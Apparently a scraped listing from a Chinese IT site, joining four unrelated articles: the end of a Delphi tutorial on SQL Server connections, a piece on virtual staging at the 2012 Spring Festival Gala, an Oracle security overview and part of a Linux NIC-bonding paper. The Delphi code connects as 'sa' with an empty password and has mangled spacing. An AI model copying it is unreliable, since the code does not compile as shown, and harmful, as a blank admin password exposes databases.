c:='Provider=SQLOLEDB.1;Password='+''''';PersistSecu rityInfo=True;UserID=sa;InitialCatalog=FangChan;Data Source='; d:=';UseProcedureforPrepare=1;AutoTranslate=True;#p#分頁標題#e# PacketSize=4096;WorkstationID='; e:=';UseEncryptionforData=False;Tagwithcolumncol lationwhenpossible=False'; datamodule2.ADOConnection1.ConnectionString:=c+a+ d+b+e; datamodule2.adoconnection1.Connected:=true; //釋放文件變量 iniparam.Free; cmbusername.Clear; //測試數據庫連接 try Query:=TADOQuery.Create(nil); Query.Connection:=datamodule2.ADOConnection1; Query.SQL.Add('selectunamefromusers'); Query.Open; ifQuery.RecordCount=0then begin MessageDlg(' 沒有可以登錄的用戶名 ',mtError, [mbok],0); Exit; endelse begin Query.First; whileQuery.Eof=falsedo begin cmbUserName.items.add(query.FieldByName ('Uname').asstring); Query.next; end end; Query.Close; Query.Free; cmbusername.ItemIndex:=0; except MessageDlg(' 連接數據庫出錯!',mtError,[mbok], 0); end; end; end. 4 結語 通過靈活存取配置文件,動態指定 TADOConnection 組件 的 connectstring 屬性值,實現了 Delphi7.0 和 SQLServer 數據 庫的連接 這種方法的最大特點就是簡單方便,避免了通過 在程序中指定數據庫連接字符串的局限性。 http://www.ionrce.tw/uploads/allimg/120628/1-12062QUU23P-lp.jpg Delphi7,配置文件,SQLServer,數據庫 各類編程 admin 未知 2012-06-28 18:57 2012春晚虛擬技術應用解析 http://www.ionrce.tw/meigongsheji/20120626961.html 2012春節聯歡晚會的一大亮點就是科技時代如何讓龍年春晚與眾不同。成功引入和應用 的在線虛擬元素置入技術,就是科技時代下為人們帶來視覺盛宴的一種創新包裝的方式 虛擬與現實 2012春節聯歡晚會的一大亮點就是科技時代如何讓龍年春晚與眾不同。成功引入和應用 的在線虛擬元素置入技術,就是科技時代下為人們帶來視覺盛宴的一種創新包裝的方式—— 虛擬與現實相結合,營造3D效果的奇幻空間。 虛擬元素置入技術在歌曲  《萬物生》  中的應用 1.前期設計 為加強藝術表現空間,營造獨特 的情境,如何將歌詞意境表達出來的 同時,又能完美的與舞臺和背景大屏 幕結合起來,成為了討論的焦點,也 是在線虛擬應用的重點。我們團隊與 節目視頻組導演接洽之后,多次開會, 大家積極提出意見和創意方案,頭腦 風暴和創新理念也運用起來。經過多 次商討,歌曲的虛擬意境基本成型。 從歌詞描述的冰雪消融,海水覆蓋了 整個世界,生命從中悄悄的孕育,象 征生命起源的種子生長出來,隨著海 水的退去露出一片富饒的土地,植物 紛紛長出嫩芽,幾束橙黃的太陽光透 過葉片照耀著大地,為我們賴以生存 的地球帶來溫暖和滋養,生命輪回散 發著頑強迷人的魅力,人與自然也會 遵循這個禪意無限的發展下去。于是 這首歌曲,選取冰、種子、植物、陽 光這幾個意向,作為虛擬置入的元素, 這些符號,既能夠與舞臺大屏幕背景 融合,又能為視覺效果帶來創新。 2.虛擬元素的三維建模和虛實的空間布局設計 在完成設計初稿效果圖后,三維模型在接近真實的材質渲染和根據攝像機機位的虛擬場景搭建成為了下一步需要細心 制作的重點。為了更接近大自然真實的效果,我們大量的觀摩圖片,在三維軟件中搭建場景后也反復的修改,每一個冰柱 的位置都仔細思量擺放,每一個種子的形狀和飛行軌跡都小心斟酌做動畫,每一株植物的材質貼圖都認真填色修飾到根莖 葉都看的清清楚楚。這樣精細的制作不僅是為了滿足導演組提出的要求,更是在比基礎上傾注了我們作為設計創作者的責 任心和全部熱情。 通過對春晚T字型舞臺以及側面支撐柱的布局研究,我們發現左右空下來的圓桌觀眾席區域和四根支撐圓柱均可以為 虛擬置入加以利用,在融合舞臺LED大屏幕動畫的同時,置入的虛擬元素可以有效的將觀眾席加以掩蓋,并配合實景實現 虛實結合的效果,使得整個舞臺的有效空間變得更大。 在效果圖的基礎上,在三維軟件 Autodesk Maya中進行模型的制作和場 景的搭建。此場景置入的虛擬元素有三維 模型植物,以圖片序列為表現形式的冰柱、 冰塊、植物種子以及植物,分別確定形狀 后,根據大量冰雪的真實照片,進行真實 場景的還原。景深和構圖是需要反復修改 的地方。為了能夠營造符合物理視覺效果 的場景,每一根冰柱和每一塊冰的位置都 細心碼放。為了追求最真實的材質,實驗 了很多種材質球和貼圖。 在設計過程中,針對《萬物生》的歌 曲特點,我們將這首歌萬物生長部分的虛 擬場景劃分為地面和空中兩塊,地面主要 由大型植物的生長序列圖動畫以及小型植 物的模型生長動畫組成,其中包括了圍繞 舞臺四根實體柱子旋轉生長的藤蔓元素, 配合不斷運動的多彩粒子序列圖動畫以及 所有植物自身顏色的改變,讓整個舞臺地 面顯得更加的生動和不可思議。在此基礎 之上,為了更加突出虛擬置入的三維空間 特點,我們還在空中設計了與地面植物不 同顏色的飄浮生物,并使用從空中打下的 太陽光束序列圖動畫進行疊加以配合地面 植物開始生長的動畫,讓觀眾仿佛置身于 一個真實的原始森林當中。 3.制作分鏡頭樣片 為了現場環境和虛擬物體能夠完美的 配合,我們根據虛擬機位的不同,設計了 不同角度和時長的模板。按照機位和景別 完成了分鏡頭小樣的制作。以便讓導演組 和導播更能夠清楚虛擬機位的用法和虛擬 置入的效果。根據演播大廳二層虛擬機位#p#分頁標題#e# 的位置,模擬出鏡頭移動的動畫,制作虛 擬元素置入后的歌曲樣片。分鏡頭樣片的 制作,使我們能夠更加清晰虛擬元素的設 計和舞臺的緊密結合,加強藝術表現空間, 營造獨特的情境。 4.在線模板制作     在線模板就是將制作好的虛擬元素的平面材 質和三維形態導入,并制作成能夠在虛擬終端 播出的場景形式。僅僅是三維制作出來的模型 是不能夠進行在線虛擬置入。所以在線模板的 制作是播出前期準備期間最重要的一個步驟。 也是虛擬在線置入的技術手段和實現方式。 需要解決的核心問題包括: 營造的三維空 間是否符合透視規律,平面素材和三維貼圖材 質的像素是否清晰,入場和出場動畫銜接是否 順暢,場景優化是否能滿足同時加載到播出終 端中。滿足上述的要求,在線模板才能夠避免 在直播過程中出現不可挽回的錯誤。所以模板 制作過程中每一個小問題都是不能放過。 在制作過程中,我們首先將設計好的元素 在MAYA里逐一建模貼圖,并將它們的位置 在舞美模型中進行前期位置關系擺放和調整, 之后根據Orad的場景承載能力對其中幾個主 要元素進行自身生長動畫渲染,并將渲染好的 動畫序列導入Orad場景中,其余的部分分別 導出Vrml格式模型并導入Orad場景中進行 模型變形動畫制作,場景光效使用AE制作并 生成動畫序列導入Orad場景中,最后對應歌 曲的時間線進行具體的萬物生長動畫制作,并 調整每一個元素的生長時機和周期,制作用于 遮擋觀眾和襯托植物生長的綠地,最終呈現整 個萬物生長的過程。 5.現場調試與實施 虛擬攝像機和實際攝像機結合形成的虛擬空間需 要根據實際的定位結果來確認。所以在線模板制作完 成后,需要到現場進行調試和定位才能達到最終呈現 在電視上的真實的置入效果。在現場調試與實施過程 中還需要根據實際的攝像機運動和春晚導演組的需求 進行修改和完善。 在線虛擬元素的置入與導播的配合,節目內容舞 臺升降以及大屏幕背景和燈光攝像各個工種的配合需 要反復的磨練。模板在現場調試中,除了虛擬攝像機 和虛擬場景要定位的精確,還要確保材質的精細和模 板的最后整合優化,便于播出的安全。   虛擬元素置入技術在歌曲  《 因為愛情》  中的應用 設計過程中為了達到完美的舞臺效 果需要與大屏幕中的視頻內容進行緊密 配合。為了達到最真實的效果,場景中 的花瓣都采用了獨立的模型再加上細致 的花瓣貼圖使虛擬機位攝像機可以推到 花瓣的特寫時也能保證花瓣的細致程度。 花瓣的運動軌跡也經過仔細的設計。花 瓣的起始位置配合舞臺臺型設置在升起 臺型的周圍,花瓣向上旋轉飄散,花瓣 整體的旋轉飄散過程配合歌曲的高潮部 分使兩位歌手置身其中,配合歌曲達到 完美的虛幻效果。 使用Orad制作虛擬置入的燈籠場景 虛擬燈籠現場應用效果。 2012春節聯歡晚會的虛擬應用方面得到了高度好評。美輪美 奐的虛擬場景與現場舞臺和大屏幕的配合使春節晚會這個舞臺增 添了新技術和創新的元素。這些都離不開虛擬場景制作的各個環 節,只有前期細致分析和后期仔細的制作再加上實際應用前密切 配合訓練才能達到完美的效果。 開場和零點倒計時的燈籠升空: 制造別開生面的熱鬧景象。 燈籠升空的場景是整個春晚應用次數最 多的模板。每到正月人們都掛起象征團圓意 義的紅燈籠,來營造一種喜慶的氛圍。后來 燈籠成為了中國人喜慶的象征。這樣的文化 符號也成為了這次龍年春晚中不可缺少的元 素。于是配合開場和零點倒計時氣氛的燈籠 元素的植入,既秉承為觀眾帶來最完美視覺 體驗的“職責” ,又兼備豐富直播方式的多 樣性功能,得以讓億萬電視觀眾,在三十兒#p#分頁標題#e# 這天感受濃濃的年味兒; 也使得龍年春晚成 為了未來虛擬植入技術在大型直播節目中應 用的典型范例, 擁有無限的發展潛力與空間。 設計過程中為了達到完美的舞臺效 果需要與大屏幕中的視頻內容進行緊密 配合。為了達到最真實的效果,場景中 的花瓣都采用了獨立的模型再加上細致 的花瓣貼圖使虛擬機位攝像機可以推到 花瓣的特寫時也能保證花瓣的細致程度。 花瓣的運動軌跡也經過仔細的設計。花 瓣的起始位置配合舞臺臺型設置在升起 臺型的周圍,花瓣向上旋轉飄散,花瓣 整體的旋轉飄散過程配合歌曲的高潮部 分使兩位歌手置身其中,配合歌曲達到 完美的虛幻效果。 使用Orad制作虛擬置入的燈籠場景 虛擬燈籠現場應用效果 2012春節聯歡晚會的虛擬應用方面得到了高度好評。美輪美 奐的虛擬場景與現場舞臺和大屏幕的配合使春節晚會這個舞臺增 添了新技術和創新的元素。這些都離不開虛擬場景制作的各個環 節,只有前期細致分析和后期仔細的制作再加上實際應用前密切 配合訓練才能達到完美的效果。 在制作上,我們同樣使用MAYA進行建模和貼圖,并將渲染好的烘焙貼圖貼 在導入Orad的Vrml格式模型上,有效的反應出燈籠的每一個細節,如結構陰影 和高光,甚至是布料的紋理,使得燈籠更佳的逼真以及更好的融入舞臺環境,最 后在Orad中將燈籠按照不同遠近不同高低進行擺放,分開制作旋轉和上升兩個動 畫,以便現場播出人員根據導播的指令進行安全播出。 http://www.ionrce.tw/uploads/allimg/120626/1-12062611061b42-lp.jpg 虛擬技術,2012春晚 美工設計 admin 未知 2012-06-26 11:04 oracle數據庫安全分析研究 http://www.ionrce.tw/wangzhananquan/20120624960.html 引言 網絡技術的快速發展,數據庫的普遍應用,使得數據 庫安全問題變得越來越重要 這個問題一直是圍繞著數 據庫管理員的噩夢 Oracle 作為一種大型的數據庫系 統 其安全問題更為突出 引言 網絡技術的快速發展,數據庫的普遍應用,使得數據 庫安全問題變得越來越重要 這個問題一直是圍繞著數 據庫管理員的噩夢 Oracle 作為一種大型的數據庫系 統 其安全問題更為突出 數據庫的安全性是指保護數據以防止非法用戶使 用 避免數據被有意或無意地丟失 泄露或破壞 數據庫 的安全性控制通常有用戶標識和鑒定 存取控制 視圖 控制 審計 數據加密等常用方法 下面以日常所使用的 Oracle 數據庫產品為例 從數據庫用戶安全 權限設置 數據限制等幾個方面對其安全性能進行分析研究 1 用戶安全管理 用戶是定義在數據庫中的一個名稱 它是 Oracle 數 據庫的基本訪問控制機制 當用戶要連接到 Oracle 數據 庫以進行數據訪問時 必須要提供合法的用戶名及其口 令 如 CONNECTscott tiger Oracle 數據庫是可以為多 個用戶共享使用的 一個數據庫中通常會包含多個用 戶 數據庫在新建后通常會自動建好一些用戶 其中最 重要的有 sys 和 system 兩個管理員用戶及 scott 等一些 普通用戶 數據庫每個用戶都可以擁有自己的對象 一 個用戶所擁有對象的集合稱為一個模式 用戶與模式具 有一一對應的關系 并且兩者名稱相同 不同模式中可 以具有相同的數據庫對象名 即不同用戶下的對象名稱 可以相同 對象的訪問格式為[模式名.]對象名 只有訪 問自己模式對象時 模式名才可以省略 1.1 用戶創建 數據庫管理員可以定義和創建新的數據庫用戶 可 以為用戶更改口令 可以鎖定某用戶禁止其登錄數據 庫 總之 用戶管理工作是數據庫管理員的職責之一 創建用戶必須具有 CREATEUSER 系統權限 通 常情況下只有數據庫管理員或安全管理員才擁有 CREATEUSER 權限 創建用戶時除了指定用戶名外 還要指出驗證方 式 默認使用表空間 空間使用限額 用戶是否被鎖定 用于資源限制的概要文件等選項 驗證方式包括數據庫 口令驗證 操作系統驗證 數據庫口令驗證要求用戶登 錄時必須要提供口令。 1.2 特權用戶 特權用戶是指具有特殊 權限 (SYSDBA 或 SYSOPER)的數據庫用戶 這類用戶主要用于執行數據 庫的維護操作 例如 啟動和關閉數據庫 建立數據庫 備份和恢復等任務 從 Oracle9i 開始 當建立實例服務時會建立名稱為 sys 的特權用戶 另外 當將初始化參數 REMOTE -LOGIN_PASSWORDFILE 設置為 EXCLUSIVE 時 還 可以將 SYSDBA 和 SYSOPER 特權授予其他用戶 需要注意的是 從 Oracle9i 開始 sys 用戶或其他欲 以特權身份登錄的用戶登錄必須帶有 AsSYSDBA 或 ASSYSOPER 子句 而且特權用戶都對應 sys 用戶 表 1 驗證了這一點。 1.3修改用戶 更改口令 使用 ALTERUSER 命令可以修改用戶的信息 但 是需要由 DBA 或者具有 ALTERUSER 系統權限的用 戶來完成 用戶經常更改登錄口令是一個不錯的習慣 每個用戶都可以使用如下 命令修改其自身口令 SQL>ALTERUSERtestuserIDENTIFIEDBYertghj 當 用戶遺忘了口令無法登錄時 可以由 DBA 使用上述命 令為其重設一個新口令 更改某個表空間的使用配額 用戶在某個表空間的使用配額可能會根據實際情 況有所調整 更改用戶的狀態 不希望某用戶使用數據庫數據時 可以將此用戶進 行鎖定 SQL>ALTERUSERtestuserACCOUNTLOCK 而解除對 testuser 用戶賬戶的鎖定 使用如下命令 SQL>ALTERUSERtestuserACCOUNTUNLOCK 刪除 用戶之后 Oracle 會從數據字典中刪除用戶及該用戶擁 有對象的信息 特權用戶具有啟動 關閉數據庫等特權 通過查詢 動態性能視圖 v$pwfile_users 可以確定有哪些特權用戶 及他們有哪些特權 這樣的話就保證了 Oracle 數據庫的 安全 2 權限管理 權限用于限制用戶可執行的操作 即限制用戶在數 據庫中或對象上可以做什么 不可以做什么 新建立用 戶沒有任何權限 不能執行任何操作 只有給用戶授予 了特定權限或角色之后 該用戶才能連接到數據庫 進 而執行相應的 SQL 語句或進行對象訪問操作 a) 權限類型 Oracle 中權限分為系統權限和對象權限兩種類型 i. 系統權限 系統權限是在數據庫中執行某種操作 或者針對某 一類的對象執行某種操作的權力#p#分頁標題#e# 系統權限并不針對某一個特定的對象 而是針對整 個數據庫范圍 比如 在數據庫中創建 空間的權力 (對應的系統權限名稱為 CREATE TABLESPACE) 或者為其他模式創建表權力(對應的系 統權限名稱為 CREATEANYTABLE) ii. 對象權限 對象權限是一種對于特定的表 視圖 序列 過程 函數或程序包執行特定操作的一種權限或權利 表 2 列 出了 Oracle 所提供的對象權限。 b)授予權限 授予權限是通過 GRANT 命令實現的 但是根據授 予的是系統權限還是對象權限 GRANT 命令語法是有 區別的 i. 授予系統權限 CREATESESSl0N 是一個用戶訪問數據庫必須至 少具有的系統權限 系統權限授權工作通常由 DBA 完 成 但是授權時可以帶有 WITHADMINOPTION 選項 使得被授予者可以進一步將此權限授予其他用戶 ii. 授予對象權限 一個對象的擁有者具有該對象的所有權限 他可以 將該對象上的權限授予數據庫的其他用戶 如果他允許 被授予者可以再轉授此權限給另外的用戶 授權時需要 帶有 WITHGRANTOPTION 選項 c) 回收權限 回收權限的命令是 REVOKE 執行回收權限操作的 用戶同時必須具有授予相同權限的能力與 GRANT 命 令相類似 回收權限時也會根據是系統權限還是對象權 限 語法會有些不同 d) 查看權限 i. 顯示用戶所具有的系統權限 DBA 通過查詢數據字典 dba_sys_privs 可以了解指 定用戶所具有的系統權限以及 WITH ADMINOPTION 選項 如下所示 SQL>SELECT* FROMdba sys_privsWHEREgrantee= TESTUSER 此例查詢的僅是用戶 testuser 所具有的系統權限情況 GRANTEE 表示權限擁有者 VILEGE 表示系統權限名 ADMIN OPTION 表示轉授系統權限選項 其中 YES 意指可以轉授 而 NO 表示不能轉授 有時用戶也需要 了解自己擁有哪些權限 此時查詢 user sys privs 數 據字典即可 ii. 顯示用戶所具有的對象權限 通過查詢 dba_tab privs user_tab_privs 兩個數據 字典視圖 就可以獲得用戶在哪個對象有哪些對象權限 信息 3 角色管理 角色就是一組權限的集合 角色可以被授予用戶或 其他的角色 把角色分配給用戶 就是把角色所擁有的 權限分配給了用戶 使用角色可以更容易地進行權限管理 主要體現在 三個方面 (1) 減少了授權工作 用戶可以先將權限授予一個 角色 然后再將角色授予每一個用戶 而不是將一組相 同的權限授予多個用戶 (2) 動態權限管理 當一組權限需要改變時 只需要 更改角色的權限 則所有被授予了此角色的用戶自動地 立即獲得了修改后的權限 (3) 方便地控制角色的可用性 角色可以臨時禁用 和啟用 從而使權限變得可用和不可用 當建立數據庫時 Oracle 自動定義了多個角色 系 統預定義的角色包括幾個 (1)CONNECT RESOURCE DBA 提供這些角色的 目的是為了向后與 Oracle 服務器的早期版本兼容 (2)EXP ULLDATABASE IMP_FULLDATABASE 導出 導入數據庫的權限 (3)DELETE CATALOG_ROLE 對于數據字典表 的 DELETE 權限 (4)EXECUTE_CATALOG_ROLE 對于數據字典程 序包的 EXECUTE 權限 (5)SELECT-CATALOG_ROLE 對于數據字典表的 SELECT 權限 許多數據字典視圖包含了授予用戶和角色的權限 信息 查詢這些視圖可以了解當前數據庫中已經建立的 角色 以及這些角色所擁有的系統權限和對象權限 4PROFILE 管理 PROFILE 也稱配置文件或概要文件 是口令限制和 資源限制的命名集合 例如 使用 PROFILE 可以指定口 令有效期 進行口令復雜性校驗 指定用戶連接時問以 及最大空閑時間等 數據庫每個用戶都會對應一個配置 文件 PROFILE 具有以下一些作用 (1) 可以限制用戶執行某些需要消耗大量資源的 SQL 操作 (2) 確保在用戶會話空閑一段時間后 將用戶從數 據庫注銷 (3)在大而復雜的多用戶數據庫系統中 可以合理分 配資源 (4) 控制用戶口令的使用 當建立數據庫時 系統會自動建立 DEFAULT 配置 文件 該文件的所有口令及資源限制選項初始值均為 UNLIMITED 即未進行任何口令和資源限制 當建立用 戶時 如果不指定 PROFILE 子句 則 Oracle 會將 DEFAULT 分配給該用戶 根據用戶所承擔任務的不同#p#分頁標題#e# DBA 應該建立不同的 PROFILE 并將 PROFILE 分配給 相應的用戶 a) 使用 PROFILE 使用 PROFILE 可以管理口令和進行資源限制 管 理口令有鎖定賬戶 終止口令 口令歷史以及口令校驗 等四種安全保護方式 共包含了 7 個口令管理選項 如 果僅指定某個或某幾個選項 那么其他選項將自動使用 DEFAULT 的相應選項值 在大而復雜的多用戶數據庫管理環境中 用戶眾 多 不僅需要管理這些用戶的口令 還要對每個用戶或 會話使用的 CPU 內存等系統資源予以限制 以有效地 利用系統資源確保系統性能 使用 PROFILE 進行資源 限制 既可以限制整個會話的資源占用 也可以限制調 用級(SQL 語句)的資源占用 需要注意的是 與管理口令不同 如果使用 PROFILE 管理資源 則必須要激活資源限制 即需要將 初始化參數 RESOURCE-LIMIT 設置為 TRUE b) 修改與刪除 PROFILE 當口令和資源限制無法滿足目前的實際需求時 就 需要修改口令及資源限制 修改口令及資源限制由 ALTERPROFILE 命令完成 使用該命令要求用戶必須 具有 ALTERPROFILE 系統權限 c) 查看 PROFILE (1) 查看用戶的 PROFILE 通過查詢數據字典 dba_users 可以獲得用戶的詳細信息 包括用戶名稱 PROFILE 等 SQL>SELECTprofile FROMdbausersWHEREusername= JWCUSER (2) 查看 PROFILE 的口令和資源限制選項 當建立 或修改 PROFILE 時 Oracle 會將 PROFILE 選項及值存放到數據字典 profiles 中 在 確定了用戶的 PROFILE 之后 通過查詢數據字典可以 獲得用戶的口令及資源 限制信息 如下所示 SQL>SELECTresource_name 1lmltFROMdba_proflles WHEREprofile= PROFILE_JWCUSER AND resource_type= KERNEL 數據字典 dba_profiles 包含如下 4 個列 (a)profile PROFILE 名稱 (b)resource name~PROFILE 選項名 (c)resource type PASSWORD 表示口令管理選項 而 KERNAL 則表示資源限制選項 (d)limit PROFILE 選項值 5 總結 本文主要對 Oracle 數據庫的安全性進行了分析 包 括如何創建用戶與更改用戶屬性 如何管限 角色的概 念及如何通過角色管理權限 并簡要介紹 Oracle 使用 PROFILE 管理口令限制資源使用的方法和內容 一位 Oracle 的發言人說 一個產品被報告的缺陷點 的數量并不能度量這個軟件的安全性 同時說 產品具 有豐富的特色 性能 版本以及支撐平臺 安全性的度量 是一個非常復雜的過程 消費者們必須考慮諸多因 素 包括使用案例 缺省配置 缺陷補救以及揭發策 略和實施等。 http://www.ionrce.tw/uploads/allimg/120624/1-120624153000510-lp.jpg oracle,數據庫,數據庫安全 網站安全 admin 未知 2012-06-24 15:28 linux面向IP-SAN的多網卡綁定方法 http://www.ionrce.tw/linux/20120622959.html 引言 信息化已經發展到了以數據為中心的階段, 存儲在其中已處于核心地位, 隨著信息技術與存儲技術的發 展, 各種應用對服務器數據的海量存儲和高速存取提出了更高的要求, 使 引言 信息化已經發展到了以數據為中心的階段, 存儲在其中已處于核心地位, 隨著信息技術與存儲技術的發 展, 各種應用對服務器數據的海量存儲和高速存取提出了更高的要求, 使得傳統的存儲體系逐漸不能滿足用戶 需求, 網絡存儲技術應運而生 網絡存儲技術將存儲設備從服務器中分離出來, 搭建存儲網絡, 可以實現數據 的大規模存儲, 并具有良好的易擴展性 易接入性與易管理性[1, 2] 網絡存儲技術經歷了 DAS NAS 和 SAN 三 個階段, 其中, IP - SAN 利用了現有IP 網絡成熟性和普及性的優勢, 越來越引起人們的關注[3, 4] 為了增加服務器訪問 IP - SAN 的性能, 不僅需要高吞吐率的網絡存儲設備, 還需要高性能的服務器與 高帶寬網絡的支持 在利用現有網絡硬件設備的環境下, 通過軟件方式提高網絡吞吐率已經成為 IP - SAN 及其它服務器亟待解決的問題, 采用多網卡綁定技術正是在這種背景下提出來的[5], 多網卡綁定技術又稱為 通道聚合技術, 它是在網卡驅動程序之上, 數據鏈路層之下實現的一個虛擬層 它把多個網卡虛擬成一塊虛擬網卡, 具有一個相同的 IP 層地址, 客戶端向服務器請求數據, 服務器上的網卡接到請求后, 網卡根據某種 算法智能決定由誰來處理數據的傳輸[6], 多網卡綁定技術可以提高服務器的網絡吞吐量和可用性 隨著處理器技術的不斷發展, 多核處理器成了提升處理器性能的有效手段 多核處理器相對于單核處 理器來說, 雖然每個處理器核心的主頻較低, 但是整體功耗更小; 而且多個處理器核心可以通過串行 并行 混合流水線等結構對不同的應用進行優化, 既可以充分發揮處理器的性能, 又能提高應用程序的執行效率 本文基于多核處理器平臺, 提出并實現了一種面向 IP - SAN 的多網卡綁定方法, 有效利用了多核處理器的 優勢, 提升了多網卡綁定的數據傳輸效率 2 Linux 現有多網卡綁定技術 目前與綁定相關的技術有 Sun 的Trunking( 鏈路聚集) 技術, Cisco 的Fast Ether Channel( FEC) 技術, Intel 的 Advanced Network Service( iANS) 和 Alteon 的 Fault Tolerance 2000 年3 月, 國際電氣和電子工程師協會 ( IEEE) 通過了802. 3ad 端口聚集標準, 這個標準提供了鏈路聚集或綁定以達到更高的帶寬和一組融入連接 之間提供故障接管的功能, 通過多網卡綁定技術, 在提供較高帶寬的同時提高了服務器的可用性[7] 在 Linux2. 4 以后的內核中采用了多網卡綁定技術, 它最早應用在 Beowulf 集群上, 是為了提高集群節點 間的數據傳輸而設計的 Beowulf 系統一般由一個管理節點和多個計算節點構成 管理節點控制整個集群 系統, 同時為計算節點提供文件服務和附外的網絡連接 管理節點和計算節點使用以太網( 或其他網絡) 通 信, 然而單個以太網卡會形成數據傳輸瓶頸 集群設備專家 Don Becker 是 Beowulf 工程的創建者之一, Bec- ker 發現, 如果每個節點有兩到三個以太網連接的話, 可以使這些連接表現得只有一個連接一樣, 這樣可以 減弱網絡瓶頸, Becker 把這種技術稱作通道綁定, Becker 寫出一個定制的以太網驅動程序, 用于支持通道綁 定, 這就是多網卡綁定技術的來源 Linux 的多網卡綁定技術是在網卡驅動程序之上 數據鏈路層之下實現的一個虛擬層, 它將多個網卡虛 擬成一塊虛擬網卡, 所以多網卡綁定驅動程序實際上是一種中間驅動程序( 見圖1), 是基本驅動程序與網絡 協議棧之間的接口。 Linux 多網卡綁定原理圖 它的工作機制是由多網卡綁定驅動程序統一管理和配置網卡資源, 在發送數據時, 對于數據鏈路層來 說, 網卡設備是透明的 應用程序發送的數據包經由 IP 層和數據鏈路層發往綁定設備, 而不是那些具體的 物理接口 多網卡綁定設備驅動程序根據事先設定好的傳輸模式( 算法) 調度設備中的網卡資源, 由網卡把 數據發送出去[6] 出于傳輸效率的考慮, 多網卡綁定設備在接收從其他節點發送來的數據時都是并行處理的 一個接口 接收數據的同時其他的網口可以發送數據 綁定設備驅動中除了適配器適應性負載均衡( Adaptive load bal- ancing, ALB) 算法外的其他數據傳輸算法都只允許一個網卡接收數據 它的實現原理如下: 正常情況下, 網#p#分頁標題#e# 卡只接收目的硬件地址( MAC Address) 是自身 MAC 的以太網幀, 對于別的數據幀都濾掉, 以減輕驅動程序 的負擔 但是網卡也支持另外一種被稱為混雜( promisc) 的模式, 可以接收網絡上所有的幀, 例如 tcpdump 工具, 就是運行在這個模式下 多網卡綁定驅動程序也運行在這個模式下, 可以接收所有 MAC 地址是綁定 設備的數據幀, 并把相應的數據幀傳送給多網卡綁定設備驅動程序處理 多網卡綁定驅動是直接建立在網卡設備之上的, 而網卡設備對數據鏈路層是透明的 數據鏈路層需要 傳輸的數據都是先通過綁定進行處理, 然后根據多網卡綁定驅動中設定的數據傳輸算法調度綁定設備內的 網卡設備進行傳輸 目前 Linux 現有的多網卡綁定驅動共有七種傳輸模式( 算法), 依次是: 輪轉模式 熱備 份模式 異或模式 廣播模式 動態鏈路聚合模式 自適應傳輸負載平衡模式 自適應負載平衡模式 其中最常用的是模式0 1 和6, 在輪轉算法中所有優先級相同的網卡維持在一個循環隊列中, 隊列的每 個節點( 網卡) 具有相同的地位, 多網卡綁定驅動在這些網卡中順序輪流選擇, 隊列中所有的成員公平分享 所有的傳輸任務 輪轉算法的適用面最廣, 輪轉模式適用于綁定驅動中所有節點的處理能力和性能均相同 的情況, 如適用相同類型的網卡 它的算法思想雖然很簡單, 但傳輸能力和傳輸效率是最好的, 不過需要交 換機支持, 如果交換機未配置鏈路聚合, 則會發生 MAC 地址表的動蕩, 在交換機配置了鏈路聚合后不會出 現, 發出數據包的 MAC 為虛擬網卡 Bond0 的 MAC, 限制了它的一些應用場合 模式1 的熱備份算法可以用來提高服務器的高可用性, 在主網卡失效的情況下, 備用網卡可以接替主網 卡繼續工作, 但是網卡的利用率只有1 /N, 效率較低 模式6 的平衡負載模式, 有自動備援, 無需交換機特殊配置, 即可實現負載均衡, 它們的動態負載均衡方 式可以根據綁定設備中網卡的負載狀態來動態的分配傳輸任務, 主要適用于服務器擁有四塊及四塊以上網 卡的情況, 本文中使用的嵌入式服務器擁有四塊以上的網卡, 綜合以上方面因素, 在本文中采用模式6 來進 行對比測試[6, 8] 上述介紹了 Linux 現有的多網卡綁定程序, 分析得知 Linux 現有的多網卡綁定技術必須借助于交換機才 能正常工作, 限制了它的一些應用場合 并且由于 Linux 現有的多網卡綁定驅動程序是介于數據鏈路層和 網卡驅動之間的中間驅動程序, 會額外增加系統的開銷, 另外采用的幾種傳輸模式也存在缺點, 會帶來浪費 網絡設備的帶寬 浪費網絡設備的處理時間 降低數據傳輸速率等問題 因此本文的研究重點在于, 基于多核處理器平臺, 提出并實現了一種面向 IP - SAN 的多網卡綁定方法, 克服了 Linux 現有多網卡綁定技術的一些缺陷, 提高了服務器訪問 IP - SAN 的性能和靈活性 3 基于多核處理器的多網卡綁定技術 本文測試中所使用多核處理器平臺器基于 Cavium 公司的 OCTEON CN5860 多核網絡處理器實現, 該多 核處理器集成了16 個雙發超標量架構核, 可以運行 Linux 操作系統和實時操作系統 SE( Simple Executive, 簡 單執行環境), 核之間通過 work 消息體進行通信 它具有較高帶寬的片上 RAM, 并包含指令和數據 Cache, 該處理器使用 MIPS64 指令集, 具有高度的可編程性, 同時提供數據平面和控制平面的支持 OCTEON CN5860 處理器包含一些專用引擎來加速處理過程( 如硬件加密, 正則表達式處理, 消息調度, TCP / IP 協議棧 處理和數據包收發等) 本文中使用的嵌入式服務器基于 OCTEON CN5860 多核處理器, 具有多個千兆網口, 采用多網卡綁定技 術來提高服務器的性能是很好的選擇, 本文利用多核處理器的特點, 研究并實現了一種基于多核處理器的 多網卡綁定方法, 將多核處理器的多個處理核心分成兩組, 一組運行通用的 Linux 操作系統, 一組運行多網 卡綁定程序 兩組核之間通過內部核間通信機制通信 多網卡綁定技術實現時主要應解決兩個問題, 一是如何將多個物理網卡綁定在一個虛擬網卡上; 二是 數據傳輸時采用什么策略實現并行的數據接收與發送, 本文所提出的多網卡綁定方法原理如圖2 所示。 #p#分頁標題#e# 由圖2 可知, 本文提出的多網卡綁定方法在一顆多核處理器上實現, Linux 操作系統和實時操作系統運 行于同一多核處理器的不同處理核心上, 實時操作系統 SE 上運行物理網絡接口驅動程序和多網口綁定處 理程序, Linux 操作系統上運行虛擬網絡接口驅動程序和多網口綁定管理程序 通過 Linux 操作系統和 SE 實時操作系統的管理接口完成對多網卡的綁定及傳輸模式等參數的配置 Linux 系統和 SE 系統通過核間 通信機制進行通信, 核間通信機制是借助處理核心之間的消息交互 數據內存共享等方法實現, 數據的傳輸 流程及其傳遞形式如圖3 所示。 圖3 數據傳輸流程 數據接收過程: 數據接收模塊接收每個網絡接口的數據包, 將數據包存入共享內存中, 按照接收規則進 行處理, 生成核間消息, 并通過核間通信機制將數據遞交給 Linux 上的虛擬網絡接口驅動程序; Linux 虛擬網 絡接口驅動程序的接收函數通過核間通信機制接收數據, 獲取數據包, 并將數據包提交給 Linux 網絡協議棧 處理 數據發送過程: Linux 虛擬網絡接口驅動程序的發送函數將 Linux 網絡協議棧處理完的數據包存放到共享內存中, 生成核間消息, 